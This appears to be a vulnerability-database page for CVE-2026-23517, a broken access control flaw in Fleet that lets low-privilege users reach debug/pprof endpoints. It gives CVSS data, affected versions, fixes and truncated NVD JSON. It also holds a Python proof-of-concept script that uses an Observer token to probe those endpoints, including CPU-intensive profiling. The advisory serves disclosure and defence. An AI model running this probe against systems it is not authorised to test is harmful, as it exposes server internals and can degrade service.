Security Vulnerability Report
中文
CVE-2026-23517 CVSS 8.1 HIGH

CVE-2026-23517

Published: 2026-01-21 22:15:50
Last Modified: 2026-02-27 16:16:15

Description

Fleet is open source device management software. A broken access control issue in versions prior to 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3 allowed authenticated users to access debug and profiling endpoints regardless of role. As a result, low-privilege users could view internal server diagnostics and trigger resource-intensive profiling operations. Fleet’s debug/pprof endpoints are accessible to any authenticated user regardless of role, including the lowest-privilege “Observer” role. This allows low-privilege users to access sensitive server internals, including runtime profiling data and in-memory application state, and to trigger CPU-intensive profiling operations that could lead to denial of service. Versions 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3 fix the issue. If an immediate upgrade is not possible, users should put the debug/pprof endpoints behind an IP allowlist as a workaround.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fleetdm:fleet:4.77.0:*:*:*:*:*:*:* - VULNERABLE
Fleet < 4.53.3
Fleet < 4.75.2
Fleet < 4.76.2
Fleet < 4.77.1
Fleet < 4.78.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-23517 PoC - Fleet Debug Endpoint Unauthorized Access Note: This PoC demonstrates the vulnerability for authorized security testing only. """ import requests import argparse import sys from urllib.parse import urljoin def check_vulnerability(base_url, token): """Check if Fleet instance is vulnerable to CVE-2026-23517""" headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } # List of sensitive debug endpoints debug_endpoints = [ '/debug/pprof/', '/debug/pprof/cmdline', '/debug/pprof/profile?seconds=10', '/debug/pprof/heap', '/debug/vars', '/debug/pprof/goroutine?debug=1' ] print(f"[*] Testing Fleet instance: {base_url}") print(f"[*] Using token: {token[:10]}...") print("-" * 60) vulnerable = False for endpoint in debug_endpoints: url = urljoin(base_url.rstrip('/') + '/', endpoint.lstrip('/')) try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[VULN] {endpoint} - Accessible (200 OK)") print(f" Content length: {len(response.content)} bytes") vulnerable = True elif response.status_code == 403: print(f"[SAFE] {endpoint} - Access Denied (403 Forbidden)") else: print(f"[*] {endpoint} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[ERROR] {endpoint} - {str(e)}") print("-" * 60) if vulnerable: print("[!] Target is VULNERABLE to CVE-2026-23517") print("[!] Low-privilege users can access debug endpoints!") else: print("[+] Target appears to be PATCHED") return vulnerable def main(): parser = argparse.ArgumentParser(description='CVE-2026-23517 PoC') parser.add_argument('-u', '--url', required=True, help='Fleet base URL') parser.add_argument('-t', '--token', required=True, help='Observer token or low-privilege token') args = parser.parse_args() check_vulnerability(args.url, args.token) if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23517", "sourceIdentifier": "[email protected]", "published": "2026-01-21T22:15:49.997", "lastModified": "2026-02-27T16:16:14.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fleet is open source device management software. A broken access control issue in versions prior to 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3 allowed authenticated users to access debug and profiling endpoints regardless of role. As a result, low-privilege users could view internal server diagnostics and trigger resource-intensive profiling operations. Fleet’s debug/pprof endpoints are accessible to any authenticated user regardless of role, including the lowest-privilege “Observer” role. This allows low-privilege users to access sensitive server internals, including runtime profiling data and in-memory application state, and to trigger CPU-intensive profiling operations that could lead to denial of service. Versions 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3 fix the issue. If an immediate upgrade is not possible, users should put the debug/pprof endpoints behind an IP allowlist as a workaround."}, {"lang": "es", "value": "Fleet es un software de gestión de dispositivos de código abierto. Un problema de control de acceso roto en versiones anteriores a 4.78.3, 4.77.1, 4.76.2, 4.75.2 y 4.53.3 permitía a los usuarios autenticados acceder a los puntos finales de depuración y perfilado independientemente del rol. Como resultado, los usuarios con privilegios bajos podían ver diagnósticos internos del servidor y activar operaciones de perfilado que consumen muchos recursos. Los puntos finales debug/pprof de Fleet son accesibles para cualquier usuario autenticado independientemente del rol, incluido el rol 'Observer' con los privilegios más bajos. Esto permite a los usuarios con privilegios bajos acceder a elementos internos sensibles del servidor, incluidos datos de perfilado en tiempo de ejecución y el estado de la aplicación en memoria, y activar operaciones de perfilado intensivas en CPU que podrían llevar a una denegación de servicio. Las versiones 4.78.3, 4.77.1, 4.76.2, 4.75.2 y 4.53.3 solucionan el problema. Si una actualización inmediata no es posible, los usuarios deberían colocar los puntos finales debug/pprof detrás de una lista blanca de IP como solución alternativa."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.53.3", "matchCriteriaId": "58B2870D-823A-4862-A51B-B3F86C60D89B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.75.0", "versionEndExcluding": "4.75.2", "matchCriteriaId": "E363A7DF-0880-44B8-82A6-0192D1D43471"}, {"vuln ... (truncated)